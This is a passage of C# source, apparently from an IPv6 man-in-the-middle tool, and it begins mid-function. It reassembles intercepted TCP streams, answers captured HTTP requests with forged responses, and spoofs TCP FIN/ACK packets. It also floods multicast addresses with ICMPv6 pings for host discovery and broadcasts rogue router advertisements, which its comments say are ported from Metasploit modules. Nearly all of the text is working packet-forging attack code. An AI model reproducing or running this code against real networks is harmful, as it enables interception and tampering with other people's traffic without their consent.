TcpReconstructorPacket nextPacket = (from p in Program.CurrentProject.data.ReconstructedPackets
where p.FirstSequenceNumber == tcp.SequenceNumber + tcp.PayloadData.Length
select p).FirstOrDefault();
if (nextPacket != null || previousPacket != null)
{
bool packetSend = false;
if (nextPacket != null)
{
nextPacket.InsertPreviousTcpPacket(tcp);
httpReq = new HttpPacket(nextPacket.Data);
if (httpReq.IsCompleted)
{
packetSend = true;
Program.CurrentProject.data.ReconstructedPackets.Remove(nextPacket);
SendHttpResponse(httpReq, orgPacket, tcp.SourcePort, tcp.DestinationPort, tcp.AcknowledgmentNumber, nextPacket.ExpectedSequenceNumber);
}
}
if (previousPacket != null && !packetSend)
{
if (nextPacket != null)
{
previousPacket.AppendTcpPacket(nextPacket);
Program.CurrentProject.data.ReconstructedPackets.Remove(nextPacket);
}
else
previousPacket.AppendTcpPacket(tcp);
httpReq = new HttpPacket(previousPacket.Data);
if (httpReq.IsCompleted)
{
Program.CurrentProject.data.ReconstructedPackets.Remove(previousPacket);
SendHttpResponse(httpReq, orgPacket, tcp.SourcePort, tcp.DestinationPort, tcp.AcknowledgmentNumber, previousPacket.ExpectedSequenceNumber);
}
}
}
else
{
Program.CurrentProject.data.ReconstructedPackets.Add(new TcpReconstructorPacket(tcp));
}
var toDelete = Program.CurrentProject.data.ReconstructedPackets.Where(p => DateTime.Now.Subtract(p.CreationTime).TotalMinutes > 2);
foreach (var item in toDelete)
{
Program.CurrentProject.data.ReconstructedPackets.Remove(item);
}
}
}
}
}
else if (tcp.Fin && tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0)
{
tcp.Ack = true;
tcp.Fin = false;
uint ackOrg = tcp.AcknowledgmentNumber;
tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1;
tcp.SequenceNumber = ackOrg;
tcp.WindowSize = 1400;
IPv6Packet ipv6Ack = new IPv6Packet(sourceAddress, destAddress);
ipv6Ack.PayloadPacket = tcp;
EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV6);
eth.PayloadPacket = ipv6Ack;
(eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum();
Program.CurrentProject.data.SendPacket(eth);
}
}
}
catch
{
}
}
// create multicast IPv6 ping packet
private EthernetPacket GenerateIpv6Ping()
{
var ethernetPacket = new EthernetPacket(physicalAddress, broadcastMAC, EthernetPacketType.Arp);
var ipv6Packet = new IPv6Packet(IPAddress.Parse((deviceInfo.IPv6 != string.Empty ? deviceInfo.IPv6 : deviceInfo.LinkLocal)), IPAddress.Parse("ff02::1"));
ipv6Packet.NextHeader = IPProtocolType.ICMPV6;
ethernetPacket.PayloadPacket = ipv6Packet;
var icmpv6Packet = new ICMPv6Packet(new ByteArraySegment(new byte[40]))
{
Type = ICMPv6Types.EchoRequest,
PayloadData = Encoding.ASCII.GetBytes("abcdefghijklmnopqrstuvwabcdefghi")
};
ipv6Packet.PayloadPacket = icmpv6Packet;
// ICMPv6 checksum fix
var pseudo = Network.GetPseudoHeader(ipv6Packet.SourceAddress, ipv6Packet.DestinationAddress, icmpv6Packet.Bytes.Length, 58);
icmpv6Packet.Checksum = (ushort)(ChecksumUtils.OnesComplementSum(pseudo.Concat(icmpv6Packet.Bytes).ToArray()) + 4);
return ethernetPacket;
}
public static String IPv6Analyzor(ref TreeView tree, IPv6Packet ip6)
{
string info = "\r\n-------- IPv6 Header -------\r\n";
string head = "IP version: " + ip6.Version.ToString() + ", src: " + ip6.SourceAddress.ToString() + ", dst: " + ip6.DestinationAddress.ToString();
TreeNode IPNode = new TreeNode(head);
string ver, tc, fl, plen, nhead, hlim, src, dst;
IPNode.Nodes.Add(ver = "Version = " + ip6.Version.ToString());
IPNode.Nodes.Add(tc = "Traffic Class = " + ip6.TrafficClass.ToString());
IPNode.Nodes.Add(fl = "Flow Label = " + ip6.FlowLabel.ToString());
IPNode.Nodes.Add(plen = "Payload Length = " + ip6.PayloadLength.ToString());
IPNode.Nodes.Add(nhead = "Next Header = " + ip6.NextHeader.ToString());
IPNode.Nodes.Add(hlim = "Hop Limit = " + ip6.HopLimit.ToString());
IPNode.Nodes.Add(src = "Source IP Address = " + ip6.SourceAddress.ToString());
IPNode.Nodes.Add(dst = "Destination IP Address = " + ip6.DestinationAddress.ToString());
tree.Nodes.Add(IPNode);
info += ver + "\r\n" + tc + "\r\n" + fl + "\r\n" + plen + "\r\n" + nhead + "\r\n" + hlim + "\r\n" + src + "\r\n" + dst + "\r\n";
return info;
}
private void HostDiscoveryPingMulticast()
{
//
// Host discovery enviando pings a las direcciones multicast
// http://dev.metasploit.com/redmine/projects/framework/repository/revisions/67120d4263806eaedcad03761439509eda5cba12/entry/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb
//
// Nota: Parece que los windows no responden a los pings mutlicasts. Los linux (backtrack) si lo hacen
//
IPAddress ipLocalLink = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Device);
EthernetPacket ethernet = new EthernetPacket(Device.Interface.MacAddress,
new PhysicalAddress(new byte[] { 0x33, 0x33, 0x0, 0x0, 0x0, 0x1 }),
EthernetPacketType.IpV6);
ICMPv6Packet icmp = new ICMPv6Packet(new ByteArraySegment(new byte[40]))
{
Type = ICMPv6Types.EchoRequest,
PayloadData = Encoding.ASCII.GetBytes("abcdefghijklmnopqrstuvwabcdefghi")
};
IPAddress[] ipsMultiCast = new IPAddress[] {
new IPAddress(new byte[] { 0xff, 0x01, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }),
new IPAddress(new byte[] { 0xff, 0x01, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 }),
new IPAddress(new byte[] { 0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 }),
new IPAddress(new byte[] { 0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2 })
};
foreach (IPAddress ipMulticast in ipsMultiCast)
{
IPv6Packet ipv6 = new IPv6Packet(
ipLocalLink,
ipMulticast
);
ethernet.PayloadPacket = ipv6;
ipv6.PayloadPacket = icmp;
Program.CurrentProject.data.SendPacket(ethernet);
}
}
private void HostDiscoveryRouterAdvertisement()
{
//
// Host discovery enviando router advertisements
// http://dev.metasploit.com/redmine/projects/framework/repository/revisions/67120d4263806eaedcad03761439509eda5cba12/entry/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb
//
EthernetPacket ethernet = new EthernetPacket(Device.Interface.MacAddress,
new PhysicalAddress(new byte[] { 0x33, 0x33, 0x0, 0x0, 0x0, 0x1 }),
EthernetPacketType.IpV6);
IPAddress[] ipsMultiCast = new IPAddress[] {
new IPAddress(new byte[] { 0xff, 0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 })
};
foreach (IPAddress ipMulticast in ipsMultiCast)
{
IPv6Packet ipv6 = new IPv6Packet(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Device), ipMulticast);
ipv6.HopLimit = 255;
ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(Device.Interface.MacAddress).GetBytes()));
ethernet.PayloadPacket = ipv6;
ipv6.PayloadPacket = routerAdvertisement;
Program.CurrentProject.data.SendPacket(ethernet);
}
}
